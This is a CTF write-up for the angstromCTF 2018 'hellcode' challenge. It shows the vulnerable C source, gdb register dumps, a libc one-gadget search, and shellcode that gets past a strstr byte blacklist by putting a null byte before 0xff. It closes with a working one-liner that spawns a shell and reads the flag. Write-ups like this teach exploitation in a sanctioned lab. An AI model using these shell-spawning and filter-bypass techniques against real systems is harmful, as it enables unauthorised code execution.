angstromCTF 2018 – writeup hellcode

The angstromCTF 2018 (ctftime.org) ran from 16/03/2018, 20:00 UTC to 23/03/2018 00:00 UTC.

As the description on ctftime.org states, the ctf is primarily geared towards high school students but with a very wide range of challenge difficulty.

There have been a lot of interesting challenges which have been fun to do. I decided to make a writeup for the pwn challenge hellcode.


hellcode (200 pts)

Challenge description:

This program will execute any arbitrary code you give it! Well, almost any — it prohibits syscalls, and only gives you 16 bytes of space. These incredible security features were added at the last minute to ensure nobody can read any secrets hidden on the server. Prove them wrong and get the flag. Download the source and binary.

Let’s start by analyzing the provided source code:

root@kali:~# cat hellcode.c
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

void code_runner()
{
	char tmp_code[18];
	char *code;
	bool executing = false;

	printf("Please enter your code: ");
	fflush(stdout);

	fgets(tmp_code, 17, stdin);

	char *end = strchr(tmp_code, '\n');
	if (end == NULL) end = &tmp_code[16];
	*end = '\0';
	int len = end - tmp_code;

	/* NO KERNEL FUNCS */
	if (strstr(tmp_code, "\xcd\x80") || strstr(tmp_code, "\x0f\x34") || strstr(tmp_code, "\x0f\x05"))
	{
		printf("Nice try, but syscalls aren't permitted\n");
		return;
	}

	/* NO CALLS TO DYNAMIC ADDRESSES */
	if (strstr(tmp_code, "\xff"))
	{
		printf("Nice try, but dynamic calls aren't permitted\n");
		return;
	}

	code = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(code, tmp_code, len);
	code[len] = 0xc3;

	mprotect(code, 4096, PROT_READ|PROT_EXEC);
	if (executing == true)
	{
		printf("ROP chain detected!\n");
		munmap(code, 4096);
		exit(-1);
	}

	void (*func)() = (void (*)())code;
	executing = true;
	func();

	munmap(code, 4096);
}

int main(int argc, char **argv)
{
	gid_t gid = getegid();
	setresgid(gid,gid,gid);

	printf("Welcome to the Executor\n");
	code_runner();

	return 0;
}

What does the program do?
–> The main function basically calls code_runner (line 62).
–> Within code_runner (line 7) 17 bytes are read in the variable tmp_code using fgets (line 16).
–> If tmp_code contains a newline ('\n') it is replaced with a null-byte. If there is no newline, the 17th byte (index 16) is set to null (lines 18-20).
–> After this tmp_code is checked for blacklisted byte sequences ("\xcd\x80", "\x0f\x34", "\x0f\x05" and "\xff") using the function strstr (lines 24 and 31).
–> If none of the mentioned strings was found, tmp_code is copied to a newly allocated memory region, which permissions are set to read and execute after the copy (lines 37-38 and 41).
–> There is another check if the previously defined variable executing is already true in order to prevent ROP chains (line 42).
–> Finally the user defined code is executed (line 51).

Our goal is to read the flag file within the /problems/hellcode/ directory on the ctf server:

team655120@shell:/problems/hellcode$ ls -al
total 28
drwxr-xr-x  2 root root              4096 Mar 17 02:00 .
drwxr-xr-x 16 root root              4096 Mar 17 02:20 ..
-r--r-----  1 root problem-hellcode    42 Mar 16 21:34 flag
-rwxr-sr-x  1 root problem-hellcode 13512 Mar 16 02:56 hellcode

As well as the source code, the binary was directly available for download on the challenge website in order to analyze it on a local machine:

root@kali:~/Documents/angstromctf# file hellcode
hellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8e1f0876954061db545626b4428d4d50dcc783e7, not stripped
root@kali:~/Documents/angstromctf# checksec hellcode
[*] '/root/Documents/angstromctf/hellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

So we are dealing with a 64bit dynamically linked binary with stack canaries and NX enabled, but without PIE.

In order to read the flag, we could spawn a shell by calling execve("/bin/sh"). A very straight forward way to do this is a so called one-gadget. A one-gadget is an address within the libc which leads to a call to execve("/bin/sh", NULL, NULL). Such a one-gadget is available in almost every libc. Usually there are constraints for each one-gadget to work. Such a constraint could for example be that the register rax must be zero. Generally it is easier to find one-gadgets in 64bit libc because of the way position independent code is implemented. A very great tool by david942j to find one-gadgets can be found here.

Before we start using the one_gadget tool, we need to download the libc which is used on the ctf server since our local machine probably does not use the same libc.

Which libc is used on the server can be determined using ldd:

team655120@shell:/problems/hellcode$ ldd hellcode
        linux-vdso.so.1 =>  (0x00007ffca9bdd000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a27bb4000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f6a27f7e000)

The library can be downloaded on the local machine with scp:

root@kali:~/Documents/angstromctf# scp team655120@shell.angstromctf.com:/lib/x86_64-linux-gnu/libc.so.6 .
team655120@shell.angstromctf.com's password: 
libc.so.6                                                         100% 1825KB   1.4MB/s   00:01   

Now we can use one_gadget:

root@kali:~/Documents/angstromctf# one_gadget libc.so.6 
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Great! There are four gadgets with different constraints.

At next we run the binary on the ctf server and set a breakpoint at the position where our code is going to be called:

team655120@shell:/problems/hellcode$ gdb hellcode
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
...
(gdb) set disassembly-flavor intel
(gdb) disassemble code_runner
Dump of assembler code for function code_runner:
   ...
   0x0000000000400b30 <+410>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400b34 <+414>:   mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400b38 <+418>:   mov    BYTE PTR [rbp-0x3d],0x1
   0x0000000000400b3c <+422>:   mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400b40 <+426>:   mov    eax,0x0
   0x0000000000400b45 <+431>:   call   rdx
   0x0000000000400b47 <+433>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400b4b <+437>:   mov    esi,0x1000
   0x0000000000400b50 <+442>:   mov    rdi,rax
   0x0000000000400b53 <+445>:   call   0x400850 <munmap@plt>
   0x0000000000400b58 <+450>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400b5c <+454>:   xor    rax,QWORD PTR fs:0x28
   0x0000000000400b65 <+463>:   je     0x400b6c <code_runner+470>
   0x0000000000400b67 <+465>:   call   0x4007b0 <__stack_chk_fail@plt>
   0x0000000000400b6c <+470>:   leave
   0x0000000000400b6d <+471>:   ret
End of assembler dump.

The instruction call rdx at code_runner+431 calls our code. Let’s set a breakpoint there, run the program and enter some code (what we enter does not matter for now):

(gdb) b *code_runner+431
Breakpoint 1 at 0x400b45
(gdb) r
Starting program: /problems/hellcode/hellcode
Welcome to the Executor
Please enter your code: AAAA

Breakpoint 1, 0x0000000000400b45 in code_runner ()

The breakpoint is hit. On the ctf server gdb is running without any extensions like gdb-peda, but this suffices since we do not have much to do. Because we want to check which constraints we can fulfill let’s start by viewing the register’s content:

(gdb) i r
rax            0x0      0
rbx            0x0      0
rcx            0x7f9c5acbd777   140309514934135
rdx            0x7f9c5b1aa000   140309520097280
rsi            0x1000   4096
rdi            0x7f9c5b1aa000   140309520097280
rbp            0x7ffd7e200fc0   0x7ffd7e200fc0
rsp            0x7ffd7e200f80   0x7ffd7e200f80
r8             0xffffffffffffffff       -1
r9             0x0      0
r10            0x487    1159
r11            0x206    518
r12            0x4008a0 4196512
r13            0x7ffd7e2010d0   140726719484112
r14            0x0      0
r15            0x0      0
rip            0x400b45 0x400b45 <code_runner+431>
eflags         0x246    [ PF ZF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Nice! rax already contains zero, which means that we can use the first gadget we found.

In order to call the gadget, we need to know the libc base address which varies on every execution of the binary because of ASLR. The current base address in gdb can be determined with the command i proc mappings:

(gdb) i proc mappings
process 7762
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /problems/hellcode/hellcode
            0x601000           0x602000     0x1000     0x1000 /problems/hellcode/hellcode
            0x602000           0x603000     0x1000     0x2000 /problems/hellcode/hellcode
           0x230b000          0x232c000    0x21000        0x0 [heap]
      0x7f9c5abbc000     0x7f9c5ad7c000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f9c5ad7c000     0x7f9c5af7c000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f9c5af7c000     0x7f9c5af80000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f9c5af80000     0x7f9c5af82000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7f9c5af82000     0x7f9c5af86000     0x4000        0x0
      0x7f9c5af86000     0x7f9c5afac000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7f9c5b19e000     0x7f9c5b1a1000     0x3000        0x0
      0x7f9c5b1aa000     0x7f9c5b1ab000     0x1000        0x0
      0x7f9c5b1ab000     0x7f9c5b1ac000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7f9c5b1ac000     0x7f9c5b1ad000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7f9c5b1ad000     0x7f9c5b1ae000     0x1000        0x0
      0x7ffd7e1e1000     0x7ffd7e202000    0x21000        0x0 [stack]
      0x7ffd7e388000     0x7ffd7e38b000     0x3000        0x0 [vvar]
      0x7ffd7e38b000     0x7ffd7e38d000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

The libc base address currently is 0x7f9c5abbc000. Did you recognize the value of rcx?

...
rcx            0x7f9c5acbd777   140309514934135
...

rcx already contains a libc address. Although the actual base address varies on every execution, the offset of this value within the libc will stay constant. This means that we can simply calculate the difference of the value in rcx and the address of the gadget we want to call:

(gdb) p $rcx - (0x7f9c5abbc000 + 0x45216)
$1 = 771425

The difference amounts 771425 = 0xbc561 bytes. Thus we subtract 0xbc561 from rcx and then jump to rcx to trigger the one gadget:

root@kali:~/Documents/angstromctf# asm -c 64 "sub rcx, 0xbc561; jmp rcx"
4881e961c50b00ffe1

Mmmh, there is a byte with the value 0xff in our code. This value is blacklisted, isn’t it?

	/* NO CALLS TO DYNAMIC ADDRESSES */
	if (strstr(tmp_code, "\xff"))
	{
	...

Well, it is. But… wait! The function strstr is used to search for the blacklisted byte (actually the compiler turned this into strchr, but this does not matter for our consideration). How many bytes are processed by strstr? All bytes of the string. In other words: all bytes until a null-byte is reached. Since our code contains a null-byte before the 0xff byte, we evade the blacklist. Because the user input is read using the function fgets, we can enter a null-byte without terminating the user input stream:

	fgets(tmp_code, 17, stdin);

So our code should work as intended. The only thing left to do is to input the code in the binary using python and append the command cat to regain stdin on the spawned shell:

team655120@shell:/problems/hellcode$ (python -c 'print("4881e961c50b00ffe1".decode("hex"))'; cat) | ./hellcode
Welcome to the Executor
Please enter your code:
id
uid=1876(team655120) gid=1004(problem-hellcode) groups=1004(problem-hellcode),1000(teams)
cat flag
actf{a_secure_code_invoker_is_oxymoronic}

Done 🙂 The flag is actf{a_secure_code_invoker_is_oxymoronic}.